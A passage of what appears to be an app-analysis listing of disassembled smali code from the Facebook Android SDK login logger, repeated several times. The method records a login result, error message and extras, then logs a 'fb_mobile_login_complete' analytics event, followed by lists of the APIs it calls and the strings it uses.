                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
